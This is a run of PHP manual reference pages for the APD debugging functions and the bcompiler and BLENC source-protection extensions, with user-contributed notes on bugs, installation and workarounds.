There are no user contributed notes for this page.


Starts the remote session debugging

  • « apd_set_pprof_trace
  • apd_set_session_trace »
  • PHP Manual
  • APD Functions
  • Starts the remote session debugging

apd_set_session_trace_socket

(PECL apd >= 0.2)

apd_set_session_trace_socket — Starts the remote session debugging

Description

bool apd_set_session_trace_socket ( string $tcp_server , int $socket_type , int $port , int $debug_level )

Connects to the specified tcp_server (eg. tcplisten) and sends debugging data to the socket.

Parameters

tcp_server

IP or Unix Domain socket (like a file) of the TCP server.

socket_type

Can be AF_UNIX for file based sockets or APD_AF_INET for standard tcp/ip.

port

You can use any port, but higher numbers are better as most of the lower numbers may be used by other system services.

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_set_session_trace_socket() example

<?php
  apd_set_session_trace_socket("127.0.0.1",APD_AF_INET,7112,0);
?>

User Contributed Notes

There are no user contributed notes for this page.


Starts the session debugging

  • « apd_set_session_trace_socket
  • apd_set_session »
  • PHP Manual
  • APD Functions
  • Starts the session debugging

apd_set_session_trace

(PECL apd 0.2-0.4)

apd_set_session_trace — Starts the session debugging

Description

void apd_set_session_trace ( int $debug_level [, string $dump_directory = ini_get("apd.dumpdir") ] )

Starts debugging to apd_dump_{process_id} in the dump directory.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

dump_directory

The directory in which the profile dump file is written. If not set, the apd.dumpdir setting from the php.ini file is used.

Return Values

No value is returned.

Examples

Example #1 apd_set_session_trace() example

<?php
apd_set_session_trace(99);
?>

User Contributed Notes

There are no user contributed notes for this page.


Changes or sets the current debugging level

  • « apd_set_session_trace
  • override_function »
  • PHP Manual
  • APD Functions
  • Changes or sets the current debugging level

apd_set_session

(PECL apd 0.2-0.4)

apd_set_session — Changes or sets the current debugging level

Description

void apd_set_session ( int $debug_level )

This can be used to increase or decrease debugging in a different area of your application.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

No value is returned.

Examples

Example #1 apd_set_session() example

<?php
apd_set_session(9);
?>

User Contributed Notes

There are no user contributed notes for this page.


Overrides built-in functions

  • « apd_set_session
  • rename_function »
  • PHP Manual
  • APD Functions
  • Overrides built-in functions

override_function

(PECL apd >= 0.2)

override_function — Overrides built-in functions

Description

bool override_function ( string $function_name , string $function_args , string $function_code )

Overrides built-in functions by replacing them in the symbol table.

Parameters

function_name

The function to override.

function_args

The function arguments, as a comma separated string.

Usually you will want to pass this parameter, as well as the function_code parameter, as a single quote delimited string. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$your_var.

function_code

The new code for the function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 override_function() example

<?php
override_function('test', '$a,$b', 'echo "DOING TEST"; return $a * $b;');
?>

User Contributed Notes

tothandor at gmail dot com 20-Jun-2014 09:14
Overriden function name becomes __overridden__(). That's why you can't override two function, and that's how you can use the original function in the override.
Darien H 12-Feb-2014 06:11
Please note that this function (as of v1.0.1 in PHP 5.3) will <b>not</b> override some important built-in "functions". Specifically, those which are actually statements/keywords, such as:

    require
    include
    require_once
    include_once
    echo
    print

I was hoping to use it to trace the chains of require/include activity among files in a large legacy project, but it seems APD will not do what I need.
pagan at o2 dot pl 24-Oct-2008 09:34
There is not chance to override 2 or more functions, because of the error:
Fatal error: Cannot redeclare __overridden__()
rojaro at gmail dot com 20-Sep-2005 09:13
Since Apache 1 & 2 use diffrent methods (Unicode vs. UTF8) on Win32 platforms to encode urls, i've implemented the following workaround to get around this "bug" (which is actually known behaviour and wont get fixed). This workaround is really usefull when writing PHP scripts which have to work on all platforms (Windows, Linux, BSD etc.), must process URLs and must work under both Apache versions.

<?php
$httpd = explode(' ', $_SERVER['SERVER_SOFTWARE']);
if(substr($httpd[0], 0, 6)=='Apache' && substr($httpd[0], 7, 1)==2 && $httpd[1]=='(Win32)')
{
  if(isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REQUEST_URI']))));
  if(isset($_SERVER['REDIRECT_URL'])) $_SERVER['REDIRECT_URL'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REDIRECT_URL']))));
  override_function('urlencode', '$url', 'return str_replace("%2F", "/", rawurlencode(utf8_encode($url)));');
}
?>
php at undeen dot com 10-Mar-2005 09:07
I thought the example was not very helpful, because it doesn't even override the function with another function.
My question was: If I override a function, can I call the ORIGINAL function within the OVERRIDING function?
ie, can I do this:
<?php
override_function('strlen', '$string', 'return override_strlen($string);');
function override_strlen($string){
        return strlen($string);
}
?>
The answer: NO, you will get a segfault.

HOWEVER, if you use rename_function to rename the original function to a third name, then call the third name in the OVERRIDING function, you will get the desired effect:
<?php
rename_function('strlen', 'new_strlen');
override_function('strlen', '$string', 'return override_strlen($string);');

function override_strlen($string){
        return new_strlen($string);
}
?>

I plan to use this functionality to generate log reports every time a function is called, with the parameters, time, result, etc... So to wrap a function in logging, that was what I had to do.


Renames orig_name to new_name in the global function table

  • « override_function
  • bcompiler »
  • PHP Manual
  • APD Functions
  • Renames orig_name to new_name in the global function table

rename_function

(PECL apd >= 0.2)

rename_function — Renames orig_name to new_name in the global function table

Description

bool rename_function ( string $original_name , string $new_name )

Renames a orig_name to new_name in the global function table. Useful for temporarily overriding built-in functions.

Parameters

original_name

The original function name.

new_name

The new name for the original_name function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rename_function() example

<?php
rename_function('mysql_connect', 'debug_mysql_connect' );
?>

User Contributed Notes

Matt 24-Mar-2006 12:23
As of apd 1.0.1, rename_function is case sensitive.  The parameter original_name must be all lowercase for it to work properly.  Your function can still be camel case, for example, but you must specify that function as all lower case for the original_name parameter.


PHP bytecode Compiler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • bcompiler Functions
    • bcompiler_load_exe — Reads and creates classes from a bcompiler exe file
    • bcompiler_load — Reads and creates classes from a bz compressed file
    • bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function
    • bcompiler_read — Reads and creates classes from a filehandle
    • bcompiler_write_class — Writes a defined class as bytecodes
    • bcompiler_write_constant — Writes a defined constant as bytecodes
    • bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file
    • bcompiler_write_file — Writes a php source file as bytecodes
    • bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data
    • bcompiler_write_function — Writes a defined function as bytecodes
    • bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes
    • bcompiler_write_header — Writes the bcompiler header
    • bcompiler_write_included_filename — Writes an included file as bytecodes

User Contributed Notes

rustushki 29-Dec-2010 07:05
It looks like as of bcompiler 0.9.3 geoff's code above works correctly with the output:

static
construct
testOut


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

Bcompiler was written for several reasons:

  • To encode entire script in a proprietary PHP application
  • To encode some classes and/or functions in a proprietary PHP application
  • To enable the production of php-gtk applications that could be used on client desktops, without the need for a php.exe.
  • To do the feasibility study for a PHP to C converter
The first of these goals is achieved using the bcompiler_write_header(), bcompiler_write_file() and bcompiler_write_footer() functions. The bytecode files can be written as either uncompressed or plain. To use the generated bytecode, you can simply include it with include or require statements.

The second of these goals is achieved using the bcompiler_write_header(), bcompiler_write_class(), bcompiler_write_footer(), bcompiler_read(), and bcompiler_load() functions. The bytecode files can be written as either uncompressed or plain. The bcompiler_load() reads a bzip compressed bytecode file, which tends to be 1/3 of the size of the original file.

To create EXE type files, bcompiler has to be used with a modified sapi file or a version of PHP which has been compiled as a shared library. In this scenario, bcompiler reads the compressed bytecode from the end of the exe file.

bcompiler can improve performance by about 30% when used with uncompressed bytecodes only. But keep in mind that uncompressed bytecode can be up to 5 times larger than the original source code. Using bytecode compression can save your space, but decompression requires much more time than parsing a source. bcompiler also does not do any bytecode optimization, this could be added in the future...

In terms of code protection, it is safe to say that it would be impossible to recreate the exact source code that it was built from, and without the accompanying source code comments. It would effectively be useless to use the bcompiler bytecodes to recreate and modify a class. However it is possible to retrieve data from a bcompiled bytecode file - so don't put your private passwords or anything in it.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/bcompiler.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.


bcompiler Functions

Contact Information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can drop me a mail at » alan_k@php.net. Any help is very welcome.

Table of Contents

  • bcompiler_load_exe — Reads and creates classes from a bcompiler exe file
  • bcompiler_load — Reads and creates classes from a bz compressed file
  • bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function
  • bcompiler_read — Reads and creates classes from a filehandle
  • bcompiler_write_class — Writes a defined class as bytecodes
  • bcompiler_write_constant — Writes a defined constant as bytecodes
  • bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file
  • bcompiler_write_file — Writes a php source file as bytecodes
  • bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data
  • bcompiler_write_function — Writes a defined function as bytecodes
  • bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes
  • bcompiler_write_header — Writes the bcompiler header
  • bcompiler_write_included_filename — Writes an included file as bytecodes

User Contributed Notes

volomike 14-Aug-2012 01:07
I'm using bencoder v1.6 and latest bcompiler (http://pecl.php.net/get/bcompiler) -- 1.0.2 at time of writing this -- and I ran a test on PHP5 static class functions and regular class functions, and then ran a test with __FILE__. I encountered no problems. So, at least the static class issue and the __FILE__ issue is resolved now.

However, please continue your testing and reporting bugs (https://bugs.php.net/report.php?package=bcompiler).
mail - at- albertkok - dot - com 01-Oct-2009 01:06
It's been a while since my past post, but yes, I'm still using bcompiler. I just found another problem that I think you should be aware of. It took me hours to find.

It pretty much comes to this: When compiling on a 64-bit Linux operating system, your compiled code will NOT run on a 32-bit version, and visa versa. It will merely echo the file's content.

Regards,
Albert Kok
codeslinger+uph80111 at compsalot dot com 11-Jan-2008 06:16
try this, I believe that it will solve the problem with __FILE__

<?php

    eval("\$Foo = dirname(__FILE__);");
    echo "\n<br>FILE = '$Foo'\n";

?>
Albert Kok 24-Oct-2007 01:08
A few notes to succesfully configure PHP5 to load bcompiler.

In case of using Debian/Ubuntu Linux: When installing from the PECL (PEAR) package, make sure you have the php5-dev library installed in your system (apt-get install php5-dev).

Newer versions of Ubuntu may error out while installing bcompiler thru PECL, asking you to reinstall bzip2. This will not fix the installation. Instead, install the libbz2-dev library (apt-get install libbz2-dev) and try installing bcompiler from PECL again.

After installing bcompiler from PECL, don't forget to make sure you load the bcompiler.so library in your PHP configuration for the new bcompiler functions to become available. This is done by adding the following line to the bottom of your php.ini file(s):

extension=bcompiler.so

If you were to use the bcompiler functions thru your webserver, you need to restart it to reload the php configuration.

Regards,
Albert Kok
roberto at spadim dot net dot br 25-Jun-2007 07:33
hello guys, since bencoder don't work for __FILE__ constants i have a bcompiler script working, anyone that want it can send me an email
the source is 100% compatible with original file, the only problem is php5 new function methods that
<?
if (!function_exists('function_name')){
 function function_name()
}
?>
don't work but it's a php5 new method for understand bytecode
cdsheen+bencoder at gmail dot com 25-Jul-2006 02:58
Here's a script to act as a front-end for bcompiler, which may be very similar to the eA ones:

http://bbs.giga.net.tw/bencoder.php

BENCODER v1.1 - Encode your PHP script using bcompiler

Usage: bencoder [-f] -o FILE    file1.php
       bencoder [-f] -o OUTDIR  file1.php file2.php ...
       bencoder [-f] -o OUTDIR  -a SRCDIR  [-s SUFFIX] [-c] [-r]

  -f        : force overwriting even if the target exists
  -o FILE   : the file name to write the encoded script
              (default to '-encoded.php' suffix)
  -o OUTDIR : the directory to write all encoded files

  -a SRCDIR : encode all files in this source directory
  -s SUFFIX : encode the files with the SUFFIX extension only (default: php)
  -c        : copy files those shouldn't be encoded (no by default)
arplynn at gmail dot com 28-Apr-2006 05:49
PHP seems to choke on trying to compile PHP5 classes with the private, protected or public modifiers. Additionally, when including files with properly compiled classes on PHP5, it works fine but when php tries to exit it throws a segmentation fault.

It's just not a great idea to use bcompiler for anything other than functions on PHP5, at least for now.
tda at example dot com 07-Feb-2006 02:50
Creating a function after checking if a function exists using function_exists will result in a "Zero Sized Reply" error.

<?php
this does NOT work any longer:
if (!function_exists("file_get_contents")) {
        function file_get_contents($filename, $use_include_path = 0)
        { /*...define your own function here...*/ }
}
?>

Apache returns: "Zero Sized Reply" after compilation.


Reads and creates classes from a bcompiler exe file

  • « bcompiler Functions
  • bcompiler_load »
  • PHP Manual
  • bcompiler Functions
  • Reads and creates classes from a bcompiler exe file

bcompiler_load_exe

(PECL bcompiler >= 0.4)

bcompiler_load_exe — Reads and creates classes from a bcompiler exe file

Description

bool bcompiler_load_exe ( string $filename )

Reads data from a bcompiler exe file and creates classes from the bytecodes.

Parameters

filename

The exe file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_load_exe() example

<?php

bcompiler_load_exe("/tmp/example.exe");
print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_load() - Reads and creates classes from a bz compressed file

User Contributed Notes

Sinured 01-Jul-2007 12:59
foo.exe (compiled):
<?php
class myclass {
    static $scalar = 'Hello World!';
}
?>

foo.php:
<?php
include 'foo.exe';
echo myclass::$scalar;
?>

As you can see, simply including the file will also work perfectly (oh joy!)


Reads and creates classes from a bz compressed file

  • « bcompiler_load_exe
  • bcompiler_parse_class »
  • PHP Manual
  • bcompiler Functions
  • Reads and creates classes from a bz compressed file

bcompiler_load

(PECL bcompiler >= 0.4)

bcompiler_load — Reads and creates classes from a bz compressed file

Description

bool bcompiler_load ( string $filename )

Reads data from a bzcompressed file and creates classes from the bytecodes.

Parameters

filename

The bzcompressed file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_load() example

<?php

bcompiler_load("/tmp/example");

print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Please note that this function won't execute script body code contained in the bytecode file.

See Also

  • bcompiler_load_exe() - Reads and creates classes from a bcompiler exe file

User Contributed Notes

There are no user contributed notes for this page.


Reads the bytecodes of a class and calls back to a user function

  • « bcompiler_load
  • bcompiler_read »
  • PHP Manual
  • bcompiler Functions
  • Reads the bytecodes of a class and calls back to a user function

bcompiler_parse_class

(PECL bcompiler >= 0.4)

bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function

Description

bool bcompiler_parse_class ( string $class , string $callback )

Reads the bytecodes of a class and calls back to a user function.

Parameters

class

The class name, as a string.

callback

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_parse_class() example

<?php

function readByteCodes($data) {
    print_r($data);
}

bcompiler_parse_class("DB","readByteCodes");

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

This function has been removed from bcompiler and is no longer available as of bcompiler 0.5.

User Contributed Notes

There are no user contributed notes for this page.


Reads and creates classes from a filehandle

  • « bcompiler_parse_class
  • bcompiler_write_class »
  • PHP Manual
  • bcompiler Functions
  • Reads and creates classes from a filehandle

bcompiler_read

(PECL bcompiler >= 0.4)

bcompiler_read — Reads and creates classes from a filehandle

Description

bool bcompiler_read ( resource $filehandle )

Reads data from a open file handle and creates classes from the bytecodes.

Parameters

filehandle

A file handle as returned by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_read() example

<?php
$fh = fopen("/tmp/example","r");
bcompiler_read($fh);
fclose($fh);
print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Please note that this function won't execute script body code contained in the bytecode file.

User Contributed Notes

There are no user contributed notes for this page.


Writes a defined class as bytecodes

  • « bcompiler_read
  • bcompiler_write_constant »
  • PHP Manual
  • bcompiler Functions
  • Writes a defined class as bytecodes

bcompiler_write_class

(PECL bcompiler >= 0.4)

bcompiler_write_class — Writes a defined class as bytecodes

Description

bool bcompiler_write_class ( resource $filehandle , string $className [, string $extends ] )

Reads the bytecodes from PHP for an existing class, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

className

The class name, as a string.

extends

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_class() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
// you must write DB_common before DB_mysql, as DB_mysql extends DB_common.
bcompiler_write_class($fh,"DB_common");
bcompiler_write_class($fh,"DB_mysql");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

This function does not perform dependency checking, so make sure you write the classes in an order that will not result in an undefined class error occurring when you load it.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes a defined constant as bytecodes

  • « bcompiler_write_class
  • bcompiler_write_exe_footer »
  • PHP Manual
  • bcompiler Functions
  • Writes a defined constant as bytecodes

bcompiler_write_constant

(PECL bcompiler >= 0.5)

bcompiler_write_constant — Writes a defined constant as bytecodes

Description

bool bcompiler_write_constant ( resource $filehandle , string $constantName )

Reads the bytecodes from PHP for an existing constant, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

constantName

The name of the defined constant, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_constant() example

<?php
define("MODULE_MAX", 30);

$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_constant($fh,"MODULE_MAX");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes the start pos, and sig to the end of a exe type file

  • « bcompiler_write_constant
  • bcompiler_write_file »
  • PHP Manual
  • bcompiler Functions
  • Writes the start pos, and sig to the end of a exe type file

bcompiler_write_exe_footer

(PECL bcompiler >= 0.4)

bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file

Description

bool bcompiler_write_exe_footer ( resource $filehandle , int $startpos )

An EXE (or self executable) file consists of 3 parts:

  • The stub (executable code, e.g. a compiled C program) that loads PHP interpreter, bcompiler extension, stored Bytecodes and initiates a call for the specified function (e.g. main) or class method (e.g. main::main)
  • The Bytecodes (uncompressed only for the moment)
  • The bcompiler EXE footer

To obtain a suitable stub you can compile php_embed-based stub phpe.c located in the examples/embed directory on bcompiler's CVS.

Parameters

filehandle

A file handle as returned by fopen().

startpos

The file position at which the Bytecodes start, and can be obtained using ftell().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_exe_footer() example

<?php

/* creating the output file (example.exe) */
$fh = fopen("example.exe", "w");

/* 1) writing a stub (phpe.exe) */
$size = filesize("phpe.exe");
$fr = fopen("phpe.exe", "r");
fwrite($fh, fread($fr, $size), $size);
$startpos = ftell($fh);

/* 2) writing bytecodes */
bcompiler_write_header($fh);
bcompiler_write_class($fh, "myclass");
bcompiler_write_function($fh, "main");
bcompiler_write_footer($fh);

/* 3) writing EXE footer */
bcompiler_write_exe_footer($fh, $startpos);

/* closing the output file */
fclose($fh);
?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_class() - Writes a defined class as bytecodes
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes a php source file as bytecodes

  • « bcompiler_write_exe_footer
  • bcompiler_write_footer »
  • PHP Manual
  • bcompiler Functions
  • Writes a php source file as bytecodes

bcompiler_write_file

(PECL bcompiler >= 0.6)

bcompiler_write_file — Writes a php source file as bytecodes

Description

bool bcompiler_write_file ( resource $filehandle , string $filename )

This function compiles specified source file into bytecodes, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

filename

The source file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_file() example

<?php
$fh = fopen("example.phb", "w");
bcompiler_write_header($fh);
bcompiler_write_file($fh, "example.php");
bcompiler_write_footer($fh);
fclose($fh);
/* the following should be equivalent:
include "example.php";
   and
include "example.phb";
*/
?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes the single character \x00 to indicate End of compiled data

  • « bcompiler_write_file
  • bcompiler_write_function »
  • PHP Manual
  • bcompiler Functions
  • Writes the single character \x00 to indicate End of compiled data

bcompiler_write_footer

(PECL bcompiler >= 0.4)

bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data

Description

bool bcompiler_write_footer ( resource $filehandle )

Writes the single character \x00 to indicate End of compiled data.

Parameters

filehandle

A file handle as returned by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_footer() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_class($fh,"DB_common");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header

User Contributed Notes

There are no user contributed notes for this page.


Writes a defined function as bytecodes

  • « bcompiler_write_footer
  • bcompiler_write_functions_from_file »
  • PHP Manual
  • bcompiler Functions
  • Writes a defined function as bytecodes

bcompiler_write_function

(PECL bcompiler >= 0.5)

bcompiler_write_function — Writes a defined function as bytecodes

Description

bool bcompiler_write_function ( resource $filehandle , string $functionName )

Reads the bytecodes from PHP for an existing function, and writes them to the open file handle. Order is not important, (eg. if function b uses function a, and you compile it like the example below, it will work perfectly OK).

Parameters

filehandle

A file handle as returned by fopen().

functionName

The function name, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_function() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_function($fh,"my_function_a");
bcompiler_write_function($fh,"my_function_b");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes all functions defined in a file as bytecodes

  • « bcompiler_write_function
  • bcompiler_write_header »
  • PHP Manual
  • bcompiler Functions
  • Writes all functions defined in a file as bytecodes

bcompiler_write_functions_from_file

(PECL bcompiler >= 0.5)

bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes

Description

bool bcompiler_write_functions_from_file ( resource $filehandle , string $fileName )

Searches for all functions declared in the given file, and writes their correspondent bytecodes to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

fileName

The file to be compiled. You must always include or require the file you intend to compile.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_functions_from_file() example

<?php
require('module.php');

$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_functions_from_file($fh,'module.php');
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes the bcompiler header

  • « bcompiler_write_functions_from_file
  • bcompiler_write_included_filename »
  • PHP Manual
  • bcompiler Functions
  • Writes the bcompiler header

bcompiler_write_header

(PECL bcompiler >= 0.3)

bcompiler_write_header — Writes the bcompiler header

Description

bool bcompiler_write_header ( resource $filehandle [, string $write_ver ] )

Writes the header part of a bcompiler file.

Parameters

filehandle

A file handle as returned by fopen().

write_ver

Can be used to write bytecode in a previously used format, so that you can use it with older versions of bcompiler.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_header() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.


Writes an included file as bytecodes

  • « bcompiler_write_header
  • BLENC »
  • PHP Manual
  • bcompiler Functions
  • Writes an included file as bytecodes

bcompiler_write_included_filename

(PECL bcompiler >= 0.5)

bcompiler_write_included_filename — Writes an included file as bytecodes

Description

bool bcompiler_write_included_filename ( resource $filehandle , string $filename )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Blenc - BLowfish ENCoder for PHP source scripts

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Blenc Functions
    • blenc_encrypt — Encrypt a PHP script with BLENC.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

BLENC is a PHP source script protector that:

  • Encodes your source code with the blowfish algorithm.
  • Allows transparent decryption and execution of PHP scripts previously encoded with BLENC.

BLENC is an extension which hooks into the Zend Engine, allowing for transparent encryption and execution of PHP scripts using the blowfish algorithm. It is not designed for complete security (it is still possible to disassemble the script into op codes using a package such as XDebug), however it does keep people out of your code and make reverse engineering difficult.

In order to protect your PHP script you must encrypt each script with blenc_encrypt() function. After you can include the encoded script like the example below:

<?php

/* PHP script encoded with BLENC */
$my_source_encoded = 'my_source_encoded.phpe';

include($my_source_encoded);
?>

BLENC supports also expiration time for the module. So, if you want deploy your source code with a expiration time, you have to compile the extension modifying the header file related to encryption and expiration time. Please see configuration section for further informations.

User Contributed Notes

There are no user contributed notes for this page.


  • « Installing/Configuring
  • Installation »
  • PHP Manual
  • Installing/Configuring
  • Requirements

Requirements

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/blenc

It's strongly recommended to install BLENC from sources without 'pecl' command. In this way you can:

  • Specify your personal encryption key used to create redistributable keys. Your sourcecode will be more difficult to decrypt also for users that can read your key_file on webserver.
  • Specify a expiration date for the BLENC module. With expiration date you can decide that BLENC module on target system will work until a date. After that BLENC will not decrypt any files.
All these configuration options are stored into header file: blenc_protect.h

Please read the content of blenc_protect.h in sources of BLENC to know how set these hardcoded options.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Blenc Configure Options
Name | Default | Changeable | Changelog
blenc.key_file | /usr/local/etc/blenckeys | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

blenc.key_file string

It's the location where BLENC can find the file containing a list of available decryption keys. This file must be readable by webserver.

User Contributed Notes

jp [a.t] giot.net 19-Feb-2014 05:54
